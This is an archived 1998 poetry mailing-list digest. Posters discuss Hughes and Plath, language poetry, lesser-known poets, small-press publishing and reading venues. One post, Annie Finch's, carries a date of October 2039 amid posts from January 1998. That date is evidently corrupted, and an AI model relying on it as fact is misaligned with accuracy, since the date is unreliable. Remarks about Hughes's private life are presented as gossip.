>>What is it about missing "e"'s? Here's an open confession to >show
>>that Maria is not alone--To this day I have to look up the >poet's
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>>Embarrassing, but what the heck, I _love_ to confess myself on >this
>>list.
>>
>Olson with an "e" was a problem for me several years back, until >i learned
>"old son" as a helpful mnemonic device
>

>bill
>
>- -
>William Marsh
>PaperBrainPress
>Voice & Range Community Arts
>National University
>[redacted]
>http://www.dtai.com/~bmarsh
>snail: 1860 PB Dr. #4
>San Diego, CA 92109
>- -
>
>---
>Return-Path: <[redacted]>
>Delivered-To: [redacted]
>Received: (qmail 24019 invoked from network); 20 Jan 1998 >19:32:45 -0000
>Received: from deliverance.acsu.buffalo.edu (128.205.7.57)
> by herring.com with SMTP; 20 Jan 1998 19:32:45 -0000
>Received: (qmail 21563 invoked from network); 20 Jan 1998 >17:46:15 -0000
>Received: from listserv.acsu.buffalo.edu (128.205.7.35)
> by deliverance.acsu.buffalo.edu with SMTP; 20 Jan 1998 17:46:15 >-0000
>Received: from LISTSERV.ACSU.BUFFALO.EDU by
>LISTSERV.ACSU.BUFFALO.EDU
> (LISTSERV-TCP/IP release 1.8c) with spool id 26839057 >for
> [redacted]; Tue, 20 Jan 1998 >12:46:08 -0500
>Received: (qmail 3186 invoked from network); 20 Jan 1998 17:45:58 >-0000
>Received: from nunic.nu.edu ([redacted]) by >listserv.acsu.buffalo.edu
> with SMTP; 20 Jan 1998 17:45:58 -0000
>Received: from charlot.san.rr.com (dt016n5d.san.rr.com >[204.210.18.93]) by
> nunic.nu.edu (8.6.12/8.6.10) with SMTP id JAA01824 for
> <[redacted]>; Tue, 20 Jan 1998 >09:43:48 -0800
>X-Sender: [redacted]
>X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32)
>References: <l0310280401ba25c9e697@[160.94.61.188]>
> <[redacted]>
>Mime-Version: 1.0
>Content-Type: text/plain; charset="us-ascii"
>Message-ID: <[redacted]>
>Date: Tue, 20 Jan 1998 09:48:30 -0800
>Reply-To: UB Poetics discussion group ><[redacted]>
>Sender: UB Poetics discussion group ><[redacted]>

>From: William Marsh <[redacted]>
>Subject: Re: Missing "e"'s
>To: [redacted]
>In-Reply-To: <[redacted]>
>
>

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619. **Suzanne Burns**
Re: Hughes & Plath
Tue 20 Jan 1998

On Tue, 20 Jan 1998, Fred Muratori wrote:

> The passage sounded like pretty bland, standard fare to me, and I didn't buy

I was struck by the poems in NYT-- the poems seemed like diaries almost, present tense, personal, confessional, etc. Very different from the mythic voice that Hughes usually aims for. Bland, yes. It's not his usual thing, but then this seems to be the first time he has published strictly autobiographical material. Since it is 25 years worth of revisiting the same subject, it will be interesting to see if this changes or if writing about very personal things is something he can do well at all.

> *Hughes is much more comfortable when he writes about nasty animals eating other nasty animals.*

Or about the natural world in general. Yes, those are much better poems. Hm-mmm... he and Plath both seem to have a flare for really aggressive subject matter.

Suzanne

↑ Index

620. **Aldon Nielsen**
Re: List member in the news
Tue 20 Jan 1998

---

thanks Kevin -- and great to have seen you again

haven't seen the CHRON -- but want listophiliacs to know that the words "less than pure" never passed my lips! and just what would a "pure" appropriation of black American culture be????? and more importantly, why would it be?

the pure appropriations of American go hazy --

but, it's about what I'd expect -- I joked with somebody at the conference (after Christopher Ricks's paper) that if somebody were to say "Dylan's poetry pales next to that of Coleridge," the next day's paper would say "critic compares Dylan to Coleridge!"

but, will have to get me a copy of that rare notice --

(now about that Ted Hughes and those "African lips" . . .)

↑ Index

621. **Gary Sullivan**

Some "New" Poets

Tue 20 Jan 1998

> *Also to be encouraged: spontaneous generous appraisals on the List*

George Albon--possibly San Francisco's best-kept secret, two chaps, Possible Floor (e.g.) and King (Meow). His more "significant," larger-scale writings include Cosmophagy and Empire Life (two titles I remember), as well as a collection of shorter poems, We'll Build Here. Work upcoming in Avec Sampler (hopefully lots); also in the last Gertrude Stein Award, issues of lyric&, Antonym, Mirage and Cyanosis. Wide range of reading, but primary generative influences seeming to be Celan, Niedecker & Oppen. His work somewhat similar, but more colorful, lushly populated. Does extraordinary things with rhythm--one piece written as kind of overlay to Ives piece. Catullus versions as good as anyone's. A few things on the web:

http://www.system-zero.com/cyanosis/Image/digitum/albon/thecurrent1.html

http://hardpress.com/hewhp/lingo/authors/albon.html

Laurie Price--first book, Except for Memory (Pantograph), hands down the best full-length collection by a contemporary I've read. How describe what her writing does? Some influences: Stein, Laura Riding Jackson, Niedecker, Berrigan, Notley. Thankfully resembles none of these, nor a melange (to me). Often ethereal stuff, & feels oddly not situated this century (rare in avant & mainstream alike). Genuinely baffling. Other projects include a glass book (extraordinary--Steve Clay oughta publish someday) & many many other poems, most unpublished. She's been in NYC (after 4 years in Mexico) a year, but don't think she's read more than once. Come on, People in Charge: Ask her to read!

Eric Malone--consistently omitted from "Boston" issues despite being (my opinion) Boston's finest, second only to Wieners (also omitted from some mag's recent "Boston" issue). Early writing published: Evening Dispatch (Hornswoggle). Mountains of other, more significant: A Backwards Book, Magic Marker Poems, October--well, lots more. Spicer, Berrigan, Lansing, Blaser, S tein, Whalen (from '64 on) big influences. A Backwards Book effect maybe like hearing

Enochian (sp.?) & suddenly "getting it," but at a level just beneath the skin. Not without wit: "Experimental literature? Or the effect of 10 volumes on colonial furniture . . ." Special Bonus: Looks remarkably like David Letterman!

Kimberly Lyons--well, SURELY others on this list have read her work & have infinitely more intelligent things to say than I do. I've only seen Mettle (sp.?), which Granary recently put out.

Don David--a couple of chaps (from Spectacular Diseases?), work in Long News and Mirage. At least one collection, The Persecution (I think?), unpublished. Some of the most bizarre, visceral and (I think) intelligently generated sex-related writing I've read.

John McNally--wow, best ear of anyone I know. Aetherstock, which he published in an edition of--what?--10 copies?--one of the few things I brought with me to New York. Another Gertrude Stein winner.

Jeff Conant--most consistently successful overtly political poetry as poetry I've read since the late Daniel Davidson's. One chap, Breathing Problems (whut). Stein winner last time, I think. Post Project did a swell selection of his prose: "Help Save America for the Goodguys." Last I heard Buck Downs Books was bringing out a new one. Did they?

Work by the above names & a few others (Colleen Lookingbill, Bob Harrison, Ange Mlinko, Daniel Davidson) a significant portion of my library--and, Ron & others, would probably be of yours too, if there was any money to publish it. No question but that it's every bit as generative, significant, important--take your pick--as work by others, prior, everyone's seen. I've read Perelman's early poetry (his Iowa thesis) and believe me, Conant's similarly early work is more advanced, his ear already better developed. We simply don't have any equivalent these days to the NEA & the West Coast Print Center, etc., of the 70s, 80s. The work itself is here. Where are you?

Gary Sullivan
[redacted]

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622. **Suzanne Burns**
Re: Hughes & Plath
Tue 20 Jan 1998

On Tue, 20 Jan 1998, KENT JOHNSON wrote:

> *I accidentaly deleted Rachel Loden's post that quoted the poem with "racist" imagery, but I wanted to ask if perhaps _in context_ of the whole work it might be read differently?*

I'm glad you made that point-- and I think it might be that context is really important to these poems. I would also wonder about Hughes's awareness of his language, how he plays it against other things. I don't want to leap to easy judgements.

It does have a very 1960's ring....

Actually my first thought was that it sounded "Plathy"! I'd have to look at it again.

Suzanne

↑ Index

623. **Tom Orange**
Oy . . . (post)langpo
Tue 20 Jan 1998

---

to the comments made by michael, jacques, bill, and by extension joshua a few days ago.

re critical vocabularies adequate to describing innovations be they those of the 60s 70s or 90s. while langpo certainly carried a critical vocabulary with it, we are only still beginning to describe the various writing practices of this "mvmt," no? perelman makes this point: take the 20 writers in the messerli anthology, then there are 40 in the silliman anthology, 20 of whom are not in messerli, then take all the people in peter ganick's anthology, plus the 82 people silliman mentions in his preface (some of whom are in ganick i'm sure), we're looking at upwards of 100 writers here, each of whom would have to be considered individually in terms of their own career trajectories and then against one another.

in other words, the "history of langpo" is one big livre a venir, one for which a writer/critic of my "generation" may not have sufficient critical distance. yet were we to write this history, to digest *all* of this writing, yes by all means. to me it's all new, only having come to bernstein three years ago, coolidge only very recently and via watten, watten still to come, tho with some very useful pointers thanks to the recent discussions here. but for what? to master, to contain, to taxonomize and rank innovation according to form, lexicon, degrees of syntactic rupture, etc.? (doubtless a worthwhile project,...)

and then to emulate accordingly? rather, i think, the "passion for confluence" bill marsh describes. to stand awash amidst the baroque proliferation.

i wd point to bill howe's ongoing homophonic translations of emily dickinson, or christian bok's vowel poems-in-progress. one cd point to any number of prior texts from which these may be said to be "derivative" without at all contesting the striking originality of these works.

at what point do "innovative" or "derivative" continue to be meaningful tags?

t.

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624. James Brook
reclaiming sf / shaping sf release parties
Tue 20 Jan 1998

What follows is a press release for two related publications, Reclaiming San Francisco: History, Politics, Culture (a book from City Lights) and Shaping San Francisco (a CD-ROM from Cloverleaf Multimedia).

I'm principal editor of the book--and one of the other editors is the principal producer of the CD-ROM. Essays and pictures from the book appear on the CD, along with a LOT of other material.

If you're in the area this week, you may want to attend the launch parties.

The RECLAIMING SAN FRANCISCO anthology will debut Friday, Jan. 23, 7:30 p.m., at Modern Times Bookstore, 888 Valencia St. (nr. 20th St.), in San Francisco. Many of the more than two dozen contributors will be on hand.

The SHAPING SAN FRANCISCO CD-ROM will be presented in the Koret Auditorium of the Main Library in San Francisco on Thursday, Jan. 22, at 6:00 p.m.

* *

MULTIMEDIA SAN FRANCISCO HISTORY INAUGURATED

Announcing a landmark project in the discovery, sharing, and reclaiming of
San Francisco's history.

City Lights Books presents Reclaiming San Francisco: History, Politics, Culture, edited by James Brook, Chris Carlsson, and Nancy J. Peters. Here is a City Lights anthology of fresh appraisals of the contrarian spirit of the city--a spirit "resistant to authority or control." The official story of San Francisco is one of progress, development, and growth. But there are other, unofficial, San Francisco stories, often shrouded in myth and in danger of being forgotten, and they are told here: stories of immigrants and minorities, sailors and waterfront workers, artists and neighborhood activists--along with the stories of speculators,

land-grabbers, and the land itself. San Francisco is not alone in being transformed according to the dictates of the global economy. But San Franciscans are unusual in their readiness to confront the corporate agenda for their city. On sale at bookstores. $17.95 (ISBN: 0-87286-335-2)

"A breathtaking ride through a dozen different cities called San Francisco."
--Mike Davis, author of City of Quartz

"The radical energy that animated San Francisco is pulsing in these pages, as does dismay at its murder by greed and promotion." --Andrei Codrescu, author of The Dog with the Chip in Its Neck

"This book celebrates the fact that we live in the most glorious of all human creations, a city, with living streets . . . . Read it to understand why San Francisco is still alive--and how we have to defend it." --Joan Holden, San Francisco Mime Troupe

---

Cloverleaf Multimedia Productions announces a magnificent new CD-ROM, Shaping San Francisco. This is the product of three years of work by a group of local historians, community activists, computer workers, artists, academics, and librarians. Recipient of a California Council for the Humanities grant in 1996, the project has also enjoyed support from several dozen private donors, although not enough to underwrite a paid staff. Consequently, over 10,000 hours of labor has been donated. The producer, Cloverleaf Multimedia Productions, was founded in 1994 by Chris Carlsson, Greg Williamson, and Jim Swanson to bring a radical political sensibility to computer multimedia. This exciting exploration of our history will be available on public kiosks around the city, in community centers, and at branch libraries.

The CD will also be on sale at $35.00.

A web site (http://www.shapingsf.org) will offer a sample of the full public kiosk CD-ROM, while providing an on-line forum for further contributions, criticism, and comment. The project will continue to grow and develop as people and groups contribute their own stories, archival materials, and original research.

--- FOR MORE INFORMATION: Stacey Lewis at City Lights Books [415] [redacted] and Cloverleaf Multimedia Productions [415] [redacted]]

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625. **Maz881**
Re: Langpods & the "Material Text"
Tue 20 Jan 1998

Dale,

you're almost as cute as barrett. give me a kiss
before high noon.

BillL

ps.

Ron, you might want to look at chip & dale's for signs of a new convergence.

↑ Index

626. **Gwyn McVay**
Re: Missing "e"'s
Tue 20 Jan 1998

>>>And James Wright,
Charles Wright, C D Wright and C K Williams were all the same person<<<

I'm guessing Ms. Wright would probably be the most alarmed by the conflation.

People I know have had terrible times with Ted Berrigan/John Berryman, and then the two peace-activist brothers as well--and while in line to see /Shadow-lands/ not long after it came out, I overheard:

"Which children's author is this movie about?"
"A.A. Milne. You remember, he wrote /The Hobbit/."

& a belated mondegreen--heard X's song containing the refrain/title? "shoot out the lights" as "chew up the blinds," like overacting in front of suburban scenery--

Gwyn

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627. **p. durgin**
Re: kenning
Tue 20 Jan 1998

I'm sure I can... KENNING is a "newsletter" of new & ostensibly innova-tive poetry, poetics, and other genres of non-fiction writing, based on a notion that contemporary poetics (of variable & various stripes & spots & degrees of avantness) is an integral facet of progressive social discourse. The mag. is modestly priced & produced almost solely on demand. KENNING's premier

issue is due out about a month from now, edited by myself, with Mark Wallace, Juliana Spahr, John Kinsella, and others set to appear. More info as it comes available. Submissions are accepted at the address below or via e-mail. & thanks for asking. -- Patrick F. Durgin

`
`
`
` ----->*<-----
` K E N N I N G|
` anewsletterof|
` poetry&poetic|
` s418BrownSt.#|
` 10IowaCityIA5|
` 2245USA\/\/\/|

On Tue, 20 Jan 1998, Miekal And wrote:

> *p. durgin wrote:*
>
> *` ----->*<-----*
> *` K E N N I N G|*
> *` anewsletterof|*
> *` poetry&poetic|*
> *` s418BrownSt.#|*
> *` 10IowaCityIA5|*
> *` 2245USA\/\/\/|*
>
> *can you*
> *post more*
> *info about*
> *yr newsletter?*

↑ Index

628. William Burmeister Prod
Re: dylan vs. poetry
Tue 20 Jan 1998

On Jan 20, 11:15am, Aldon Nielsen wrote:
> Subject: Re: dylan vs. poetry
> At 02:30 PM 1/16/98 -0500, you wrote:

> >If Dylan, then why not Jimi Hendrix. 'Specially within the context of blues
> >guitar. How his axe had a way of nearly fatally de-electrifying it's operator
> >as in Electric Ladyland. The axe as voice. empathy with the axee. what is the
> >name of that long instrumental track on "lectric ladyland where he spasms out
> >at the end with his axe? Say, if you get near a tune, play it.(- Groucho)
> >
> >
> >- William
> >
>
> O.K. -- how about Hendrix's versions of "Drifter's Escape," "Like A Rolling
> Stone" and "All Along The Watchtower"
>-- End of excerpt from Aldon Nielsen

Choices! "All along the Watchtower" is the tune I had stuck in my head the morning I posted thusly.

-William

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629. William Burmeister Prod

Re: kenning

Tue 20 Jan 1998

On Jan 20, 2:57pm, Miekal And wrote:
> Subject: kenning
> p. durgin wrote:
>
>
> > ` ----->*<-----
> > ` K E N N I N G|
> > ` anewsletterof|
> > ` poetry&poetic|
> > ` s418BrownSt.#|
> > ` 10IowaCityIA5|
> > ` 2245USA\/\/\/|
>
>
>
>

> can you
> post more
> info about
> yr newsletter?
>-- End of excerpt from Miekal And

Knew that would get the attention of the visually attentive. Kinda' looks like an eye chart doesn't it? Ditto.

-William

↑ Index

630. **William Burmeister Prod**
Re: Oy . . . (post)langpo
Tue 20 Jan 1998

On Jan 20, 3:57pm, Tom Orange wrote:
> Subject: Oy . . . (post)langpo
> at what point do "innovative" or "derivative" continue to be meaningful
> tags?
>
>
> t.
>-- End of excerpt from Tom Orange

I think that "derivative" stopped being a dirty word with postmodernism. Even Harold Bloom has a rather nice take on the word (as he redefines it) in _A Map of Misreading_.

-William

↑ Index

631. **CharSSmith**
Re: Oy . . . (post)langpo
Tue 20 Jan 1998

In a message dated 98-01-20 17:51:33 EST, Tom Orange writes:

<< at what point do "innovative" or "derivative" continue to be meaningful tags? >>

when they are seen as complements ala Robert Duncan?

--cs

↑ Index

632. **david bromige**

The New (& how to help it along)

Tue 20 Jan 1998

(Preamble : The New, not distinguishing between form and content. Somewhere Ron Silliman formulated an equation that said that the formal New and the contentual New can never occupy the same place....Ron, do I have that right? Is that still a formulation you stand by, and if so, could you post it?)

I was pleased to hear from Henry that he had aired the yard-sale notion where it might do some good. Not pleased that it hadnt been acted on. No, we're not Bevery Hills. A lot of our sales were early in the morning, to people who live (or augment their living) by buying cheapest and selling slightly dearer--some were en route to the "official" flea market that's held every weekend at the south end of town, and we were at the north end, and a lot of these dealers live north of town, where the housing is cheaper. I mean, location is everything : one needs to consider that.

Other notions in case there are listlings who want to be free of the literary establishments in their neighborhoods (with the chokehold on budgets, etc) : make Round Table Pizza your venue. Layne Russell of this list did just that last sat nite, bringing some 30 of us together for a poetry reading in a private room at RTP. It cost nothing : RTP is glad of the custom. Layne booked about 10 days in advance. Fifty or more could have been fit into that space. Although the room had windows that gave onto the surrounding restaurant, it was pretty much soundproof (therefore far preferable to coffee-shops, with their ringing registers and growling Smoothie-mixers and coffee-grinders). Plenty of parking on site. This room is even equipped with a large tv screen and vcr capability, so that we can have an evening of poetry tapes if we want. And beer and wine (well, of a kind) are available.

Don Byrd's post re-*pre*NEA days reminds me that at Berkeley in the 60s, some of us formed an on-campus club, which gave us access, for a nominal fee, to lecture halls where we put on poetry readings. We were allowed to charge an entrance fee, although perhaps it was disguised as a donation. In those years of rising poetry popularity, we often had 150 or 200 in the audience; I remember we were able to pay the likes of Robert Duncan and Robert Creeley and Diane Di Prima and, I think, Ed Dorn, something like $150 honoraria--surely about $600 in today's money. We did this because the Arts & Lectures series brought to campus poets who, in the words of one of my associates in the enterprise, Ron Loewinsohn, were dead but didnt know enough to fall down (and this despite the input of "The Book of Beat" Tom Parkinson.)-- Even the most, uh, librul (or even redickul) among the Tenured have incurred a certain amount of damage during their ascension, have feuded with writers whom the students would

love to hear but never will (due to these wounds), and the Poetry Club is one way to by-pass these Great Limping Albert Rosses (as Sherril Jaffe dubbed them). We paid membership dues--maybe $2 per term? Say $8 in today's money. This also was an incentive to attend all the readings (to get your money's worth). I think we got in for $1, whereas non-members got in for $1.50.

These days, a likely turnout would be considerably smaller. But still, 40 people paying an average of $5 each = $200, and that, less venue-rent,and expense of a mailer,would probably net $120.

These are some ways of working with The System to take the power back.
David

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633. **Safdie Joseph**
Re: Oy and more on language poetry
Tue 20 Jan 1998

Tom, just a quick note to say that I appreciate your even-handed and careful responses to my posts very much -- they seem, at least to me, very different from our last virtual meeting some months back -- so thanks. I'll try and get back to you as soon as I can about the substance.

Best,

Joe

> *----------*
> *From: Tom Mandel[SMTP:[redacted]]*
> *Sent: Sunday, January 18, 1998 10:12 AM*
> *To: [redacted]*
> *Subject: Oy and more on language poetry*
>
> *It seems to me that Joe Safdie is being pretty straightforward in discriminating between his reactions to Language Poetry then (early 80's)*
> *and now. I think he offers us a model to discuss this (briefly I hope) w/o*
> *being sucked back into the wars of that time.*
>
> *A word on this remark by Joe, however:*
>
> *"I resisted then, as I hope I would now, any so-called "movement" that wanted to sweep away what had gone before in its triumphal path..."*
>
> *Well, sure. But, I have no idea what this is about in reference to that*
> *time. In fact, to my knowledge no one in the group of people who came*

*retroactively to be seen as a movement particularly regarded language poetry as a movement at all. We did think we were investigating a way of writing, but we also thought it was being investigated with a lot of variety and that there was virtually no program for it whatever. There were agreements of rejection certainly -- what we all or mostly all seemed not to like (viz. Richard Wilbur, James Merrill -- *not* the Allen anthology!) -- and of agreement (the Allen anthology, early Ashbery), and of ambiguousness (Ashbery after The Tennis Court Oath). But even these "agreements" were far from that. Frameworks for discussions that didn't really have agreement as a goal at all.*

I.e. there was some level of social self-consciousness among these people, but it was not as a movement. As to "sweep away what had gone before..." I can't begin to identify what is meant by this. Passion and a critique of the past are not identical to a rejection of that past. They're not even necessarily Oedipal (whatever in hell that mannish-boy theory-parable might still imply for anyone). And as to "in its triumphal path" where might the feeling of triumph have arisen?

Joes's sentence goes on:

"; the Tradition is important to me. Sometimes I think it's all we have..."

Well, I can identify with that and strongly. But how do you go on? An example please where piety (that word is not being used sarcastically) leads to innovation? I think I could point to one in the rabbinic Midrash tradition. But there is a particular set of formal constraints which follows, and, no matter how compelling that work is, it is limited in its effect by those constraints.

We are limited by our own metaphors. We talk of "breaking new ground," but there is always a life there destroyed by our plow. The tradition itself,

> *it's that kind of story.*
>
> *Tom*
>
> *Tom Mandel* [redacted]
> *********
> *Screen Porch * http://screenporch.com*
> *4020 Williamsburg Ct, Ste 200 * vox:* [redacted]
> *Fairfax, VA 22031 * fax:* [redacted]
> *********
> *Join the Caucus Conversation*

↑ Index

634. **Pierre Joris**
Re: Oy . . . (post)langpo
Tue 20 Jan 1998

William Burmeister Prod wrote:

> *I think that "derivative" stopped being a dirty word with postmodernism. Even Harold Bloom has a rather nice take on the word (as he redefines it) in _A Map of Misreading_.*
>
> *-William*

Even better -- actually, much better than going to oedipally-challenged Gloomy Bloom -- is to check out Robert Duncan re "derivative." -- Pierre

--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

"What often prevents us from giving ourselves over to
a single vice is that we have several of them."
— La Rochefoucauld
==========

↑ Index

635. **J. Kuszai**
running smack
Tue 20 Jan 1998

As a fledgling small press publisher, I'd like to jump into these discussions about funding, new writers, the problems we all face getting work out there and getting it discussed, etc.

And by way of an announcement, I'd like to mention that Graham Foust, newly recruited by the University at Buffalo's soon-to-be division IA football team, will be now helping me carry the ball. No longer will I be stuck trying to break through the tough defense which mounts against us all by myself. (BTW the UB football team is called the Bulls, which I find very amusing--

OK OK, so for real. Meow Press has suffered from my having had to do all this myself. I've not had an interest in doing it that way, except that it just worked out that when the books needed to be folded, I was the only one there. It's somehow embarrassing to ask for help, I guess. I don't know. Graham's editorial interest will mean a significant change for the press. It seems that for many people on this list, being the student of Charles Bernstein means that I would have his interests, that I would imitate him, etc. And it is a strange opinion. I would love to see an analysis of any of the Buffalo poetics grads' writings (who are in actuality,,shhhh,,really english grads) which demonstrates that Charles is here deploying clones. If there is a specific case of this "student of langpo" / wannabe, etc. then please let's talk about it. I keep thinking that I know what's being discussed, but the materials of the material text seem to be elided here. As Jim Rome would say, "Have a take and don't suck"

Before Graham agreed to accept a share in the ideological responsibility for the books soon to be published by Meow Press, I was really disturbed by my own editorial policy. I am not nor have I ever been comfortable making good / bad judgements about people's writings. Nor am I really interested in propping up some formal technique over another. But that isn't to say that one press or another "must" publish this or that... and then there seems to be an awful lot of pressure to reduce the amount of poetry that's out there. As if too much poetry is a bad thing. Perhaps it waters down the genius, I don't know. And it isn't that I like every poem I read, or every poem that I publish. It's my suspicion that social concerns (both swell and dubious) come into play far more often than ever get discussed. Perhaps that is taboo. But I'll tell you, I've received fan letters from people trying to reach certain Meow authors, people who aren't part of this national-matrix, and who I published because I wanted to help them. And I don't feel bad about that. Often those books are very "popular"--and certainly here locally those are the books that sell out at Talking Leaves Books, or the new usedbookstore, Rust Belt Books. It is my opinion, and my desperate

interest, that books and poetry participate in such a community. If my book came out and disappeared into the realms of some virtual debate I didn't have access to--well, what's that worth? Chapbooks offer something that is more modest, something small. Does that seem right? Does it seem absurd? Isn't that the goal: that our poems would participate in the world that we inhabit? And so yeah, whatever. I must seem pretty silly.

These are just thoughts. For what they're worth. Those of you who are waiting for books (ordered or to be published), rest assured. Graham Master Foust is here to make it all right. And he's not a langpo, is he? Graham---are you out there? Graham, what do you wannabe?

↑ Index

636. John Tranter
nasty animals
Wed 21 Jan 1998

In a recent post Fred Muratori said:

"I think Hughes is much more comfortable when he writes about nasty animals eating other nasty animals. - Fred M."

Aren't Ted and Sylvia supposed to have bitten each other on the neck in a fit of passion
at the party where they first met?

John T

from
John Tranter, 39 Short Street, Balmain NSW 2041, Sydney, Australia
tel ([redacted] fax ([redacted]
http://writing.upenn.edu/epc/authors/tranter/3poems-interview.html
Editor, Jacket magazine: http://www.jacket.zip.com.au

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637. Franklin Bruno
a squint at strabismus
Wed 21 Jan 1998

Odd that Craig Hill brought up Schorn's "Strabismus" when he did, as I had just read, that morning, in Zukofsky's "An Objective":

"Strabismus may be a topic of interest between two strabismics; those who see straight look away."

First thoughts: My dictionary defines 'strabismus' as "the inability of one eye to attain binocular vision with the other because of imbalance of the muscles of

the eyeball." 'Squint' is given as a synonym, though 'crosseyed' sounds closer. (The etymology of the term may also be related to that of 'strophe.') Assuming that Schorn's allusion to Z. is not inadvertent, and putting the matter simple-mindedly, I would guess that the former is arguing for subjectivity as against Z's apparent rejection of a 'perverse,' 'sick,' or 'deficient' way of seeing as appropriate for poetry. (Or, Schorn may simply be addressing other squinters.) This helps a lot with the first piece in the book, "Entering Poetic Blindspots," which shifts quickly from manifesto to the kind of image-torque that Hill mentions:

"We must force ourselves into the danger of not seeing in order to see the poem more clearly, to see it as clearly as the head of a giant pin being thrust through the walls of the mouth."

The notion of an "asymptote" (the book's thrird section), the line that a plane curve approaches or approximates but never touches, seems similarly related to Schorn's approach to narration.

I see J. Debrot's characterization of the Burning Deckness of it all, but Schorn's work is also more than a bit similar to some recent writers who definitely think of their work as fiction, not poetry. I'm thinking of Ben Marcus, Gary Lutz, and Diane Williams, all pub'd by Knopf, all often found in -StoryQuarterly- and -Conjuctions- (see #26 for a Marcus-edited section w/ Williams, Lutz, and a very interesting sustained piece by Schorn). I don't know anything about Schorn's provenance, but I suspect the rest of these folks are latter-day Lish-disciples. I've always idly wondered how this Lish/Knopf cabal operates, constantly producing slim volumes of short stories that I never meet anyone who reads. But I'm digressing--Schorn's writing, accidentally or not, gives off a similar sense that determinate events are being represented in unrationalizable terms, though without the kind of sublimation or repression that makes Marcus or Williams seem 'psychological' in intent.

Has anyone else here read the other folks I mention (Marcus' -Age of Wire and String- is one of the strangest works I've come across for a while), even with contempt?

fjb

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638. **rsillima**
Various
Wed 21 Jan 1998

Steve,

I think of myself as lovingly prodding younger writers to go that next step further (it's a big one). I'll sing a new song when a new one is warranted.

I concur with David re the functional irrelevancy of the NEA. It may have helped some book publishers, notably The Figures, Roof and Sun&Moon, but all the major events of the '70s were done without its assistance.

David,

I've written at times about the conflict between form/content (as distinct from mere extension), but don't think I ever quite put it the way you suggest. See "Wild Form" on my EPC web site (soon to be part of the Quarry West issue).

Steve's list of younger writers is a superb starting place, tho far too short. Laurie Price, whom somebody else mentioned, has been writing great work for at least 15 years that I know of. The real question is why has it taken so long for a first big book to come out.

Ron

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639. Miekal And
Best New Poet Club
Wed 21 Jan 1998

I will try my best to think of each & everyone of you as the best new poet, especially those gray beards out there & especialiest the bestest newest poet Bern Porter. Our sole mission is to recuperate the words "best" & "new" in a way that invites participation rather then the window-shopping critiques that seem to be in wholesale fashion on the poetics list.

Miekal And

best new html geezerwrecker in the hypermedia hippocket

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640. Annie Finch
Spenser, Jarnot, Hightower
Thu 13 Oct 2039

Kent et al: Sane excepts from Hightower's show are also printed in many free weeklies.

Et al: Would one of the people who has been discussing Lisa Jarnot mind posting a representative piece of hers for those who don't have her books?

Henry: your anecdote about the 365-line piece reminded me of Spenser's tactics as delineated by Kent Hiatt in the amazing SPENSER AND THE NUMBERS OF TIME. That's moving towards what I like to call postmodernism.

Annie

> *Listees:*
>
> *This not exactly "poetics", but everything is connected to everything else. Plus, when you are eventually confronted by a detachment of your local workers' militia, you can say, no, look, I'm not just an aesthete, why I even got Jim Hightower's Chat and Chew on the radio here!*
>
> *Check out Jim HIghtower's web site-- www.jimhightower.com*
>
> *carries his daily, cut-to-the-quick three minute spot, and the whole archive going back to '96 is there too (good teaching materials). Hightower, as most of you probably know, is the former Texas Commissioner of Agriculture (think I got that right) who is now the Left's and sanity's answer to Rush Limbaugh. (JH: "Some people think we need a third party. I think we need a second one.")*
>
> *There are helpful hints on the site for getting your local radio station to carry his mini-spot, or his two hour "Chat and Chew" call-in show, both of which are carried on over a hundred stations nationwide. Doing so will certainly be an honorable little commando strike against corporate media!*
>
> *Kent*

Annie Finch
Assistant Professor of English
Miami University
Oxford, Ohio 45220

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641. **Michael Magee**
Re: nasty animals
Wed 21 Jan 1998

More than this, according to the biographies - Ted was a Marv Albert-style biter during sex. Ah, gossip. -m.

According to John Tranter:
>
> In a recent post Fred Muratori said:
>
> "I think Hughes is much more comfortable when he writes about nasty animals
> eating other nasty animals. - Fred M."
>
> Aren't Ted and Sylvia supposed to have bitten each other on the neck in a
> fit of passion
> at the party where they first met?
>
> John T
>
>
> from
> John Tranter, 39 Short Street, Balmain NSW 2041, Sydney, Australia
> tel ([redacted] fax ([redacted]
> http://writing.upenn.edu/epc/authors/tranter/3poems-interview.html
> Editor, Jacket magazine: http://www.jacket.zip.com.au
>

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642. Miekal And
Surveillance
Wed 21 Jan 1998

Thanks to Gary Sullivan, Crag Hill & others whove been posting pointers to names not normally in the wordstream here. For me it has the quality of unrequited tease since I havent been able to afford a book of poetry for years & only really spend time with works Ive traded for & libraries (other than Dreamtime's archive) are a universe away. These kinds of introductions are & should be endless in such a vast poetic universe & we are our own remedy for the crisis in distribution, promotion & criticism. I welcome the shift from so much book production toward more genuine & personal forms of networking & exchange along with an acknowledgement that it's ok the be the best guardian of one's own work, that expecting some unknown other out there to give your wordsweat its due recognition is happenchance at best. Im searching for a manifesto I wrote about appropriate publishing, will try to post it in the next couple days, about archival sensibility & print on demand bookmaking, which of couse is accessible to each & everyone of us, even my friends in the mountains of rural Russia.

Dreamtime Village
http://www.net22.com/dreamtime/index.shtml

QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza/index.html

email for DT & And/Was: [redacted]

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643. **Fred Muratori**
Re: Missing "e"'s
Wed 21 Jan 1998

> *& a belated mondegreen--heard X's song containing the refrain/title? "shoot out the lights" as "chew up the blinds," like overacting in front of suburban scenery--*
>
> *Gwyn*

Yes, X recorded "Shoot Out the Lights" in muddy-tho-decent fashion, but since people on the list have been talking lately about songwriters whose lyrics approach/appropriate/approximate poetry, let's give due credit to the scandalously un-famous (although I think he likes it that way) writer and performer of the original, Richard Thompson. In Thompson's version, you hear the words as written. (Though, for the record, John Doe is okay in my book, too.)

And as for tales of the misheard, I can still remember a grammer school classmate who confidently recited the prayer "Hail Mary, full of gas..."

-- Fred M.

****
Fred Muratori
([redacted])
Reference Services Division
Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html
****

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644. Rachel Loden
Re: Some "New" Poets
Wed 21 Jan 1998

Gary Sullivan wrote of Laurie Price:

> *Other projects include a glass book*

What's a glass book?

"She puzzled over this for some time, but at last a bright thought struck her. 'Why, it's a Looking-glass book, of course! And if I hold it up to a glass, the words will all go the right way again . . . It seems very pretty,' she said when she had finished it, 'but it's rather hard to understand!' (You see, she didn't like to confess, even to herself, that she couldn't make it out at all.) 'Somehow it seems to fill my head with ideas--only I don't exactly know what they are! However, somebody killed something: that's clear, at any rate--'"

(Lewis Carroll, of course.)

